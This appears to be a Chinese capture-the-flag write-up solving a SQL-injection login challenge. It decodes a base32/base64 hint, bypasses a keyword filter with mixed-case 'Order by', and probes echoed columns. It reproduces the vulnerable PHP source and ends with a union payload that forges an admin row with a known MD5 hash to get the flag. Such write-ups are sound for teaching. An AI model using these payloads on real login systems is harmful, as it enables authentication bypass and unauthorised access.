输入账户 密码 后查看源代码
MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5
纯大写+数字 base32解码
c2VsZWN0ICogZnJvbSB1c2VyIHdoZXJlIHVzZXJuYW1lID0gJyRuYW1lJw==
== base64
select * from user where username = '$name'
fuuzz后发现or,order,information_schema被过滤
但是order可以通过Order来进行绕过。
name=admin' Order by 4#
&pw=1
name=admin' Order by 3#
&pw=1
字段为3
l联合查询:'union select 1,2,3#
发现无其余数据
想到报错注入,但是在本关过滤掉了 database()
只能利用sqli的特性:在联合查询并不存在的数据时,联合查询就会构造一个虚拟的数据。
如果使用联合查询访问,一个真实存在的用户名和一个我们自己编造的密码,就会使虚拟数据混淆admin密码,从而使我们成功登录,得到 flag
判断回显点
1.'union select 'admin',2,3#
回显 wrong user
2.'union select 1,'admin',3#
回显wrong pass
3.'union select 1,2,'admin'#
回显 wrong user
猜测 字段分别为id admin pwd 其中admin字段在第二个
查看源码
<!--MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5-->
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Do you know who am I?</title>
<?php
require "config.php";
require "flag.php";
// 去除转义
if (get_magic_quotes_gpc()) {
function stripslashes_deep($value)
{
$value = is_array($value) ?
array_map('stripslashes_deep', $value) :
stripslashes($value);
return $value;
}
$_POST = array_map('stripslashes_deep', $_POST);
$_GET = array_map('stripslashes_deep', $_GET);
$_COOKIE = array_map('stripslashes_deep', $_COOKIE);
$_REQUEST = array_map('stripslashes_deep', $_REQUEST);
}
mysqli_query($con,'SET NAMES UTF8');
$name = $_POST['name'];
$password = $_POST['pw'];
$t_pw = md5($password);
$sql = "select * from user where username = '".$name."'";
// echo $sql;
$result = mysqli_query($con, $sql);
if(preg_match("/\(|\)|\=|or/", $name)){
die("do not hack me!");
}
else{
if (!$result) {
printf("Error: %s\n", mysqli_error($con));
exit();
}
else{
// echo '<pre>';
$arr = mysqli_fetch_row($result);
// print_r($arr);
if($arr[1] == "admin"){
if(md5($password) == $arr[2]){
echo $flag;
}
else{
die("wrong pass!");
}
}
else{
die("wrong user!");
}
}
}
?>
在最后面的代码中中提到只有密码进行md5编码才会得到flag
需要进行mad5对比
构造mad5
password:123
md5(123):202cb962ac59075b964b07152d234b70
payload:
1' union select 1,'admin','202cb962ac59075b964b07152d234b70'-- q&pw=123